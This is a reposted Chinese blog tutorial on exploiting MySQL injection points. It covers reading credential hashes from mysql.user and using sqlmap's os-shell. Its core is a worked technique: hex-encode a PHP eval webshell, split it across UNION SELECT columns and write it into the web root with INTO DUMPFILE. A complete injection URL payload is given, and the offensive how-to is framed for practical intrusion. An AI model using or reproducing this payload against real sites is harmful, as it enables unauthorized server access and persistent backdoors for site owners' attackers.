zoukankan      html  css  js  c++  java
  • 【mysql注入】mysql注入点的技巧整合利用

    mysql注入】mysql注入点的技巧整合利用

    本文转自:i春秋社区

    前言:

    渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合

    简介:

    如下

    mysql注入点如果权限较高的话,再知道web物理目录说明这个站胜券在握。
    可以直接 – – os-shell拿到交互的cmd和一个小马
    然而上述对应下图的例子属于万分侥幸。
     
    如果不知道物理路径,我们还可以
    [AppleScript] 纯文本查看 复制代码
    select host,user,password from mysql.user;
    读取root密码用navicat连上去提权,不要问我为什么不直接用–sql-shell,你自己试试便知道。
     
    然而读出来的是mysqlhash  ,破解不出来,便只能读网站admin数据进后台,就像:
     
    读出来admin数据还不一定能解出来密码
    后台还不一定找得到
    找到后台还不一定能传马
    传了马还不一定能提权。。。
    那么,问题来了,这个注入点还有价值么???这便是本文讨论的要点。
    答案当然是有的。方法大家也许都用过只是没有综合使用:
    Mysql导出文件条件
    1 Root权限(其实并非root不可 ,具备insert权限即可)
    2 可写目录(即使是system权限,用驱动限制也没法写)



    我们不希望导出的数据因存在转义字符等问题而不完整,一般采用hexunhex编码之后再导出。
    1  SELECT HEX(‘binghesec,test!’),查询的结果为:62696e6768657365632c7465737421

    2  SELECTUNHEX(‘62696e6768657365632c7465737421’),查询的结果为:binghesec,test!

    3  还可以直接读取16进制的字符,在字符串前加0x前导: SELECT 0x62696e6768657365632c7465737421,查询结果为:binghesec,test!



     .

    众所周知在mysql注入点执行union联合查询需要和它本身的查询匹配字段数(一致),如某个数字型注入点有5个字段,一般是select 1,2,3,4,0x(文件hex)导出,文件头多个1234,如果导出的是php,文件可以正常使用,mof和exe等就不行。若注入类型为字符等,可用万能的null来匹配,select null,null,null,null,0x(文件hex),文件头又多了4个null,如何解决?
    科普可知如果想导出完整原样的文件需要分段合成,例:
    [AppleScript] 纯文本查看 复制代码
    php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;
    如何拆分呢,且看:
    如果通过order判断得知存在5个字段,那么便将一句话木马分成5份,那么如果是50个字段你可以把一句话分成50份,什么?一句话不到50位?你就不能动动脑子么?
    这样不是一句话么?
     
    更多文章信息请查看全文:http://bbs.ichunqiu.com/thread-9903-1-1.html
     
  • 相关阅读:
    js使用笔记
    rabbit-mq使用官方文档
    tomcat Enabling JMX Remote
    Venom的简单使用
    Random模块
    时间模块
    shulti模块简述
    Python的os模块
    Python压缩及解压文件
    Kali的内网穿透
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/5864833.html
Copyright © 2011-2022 走看看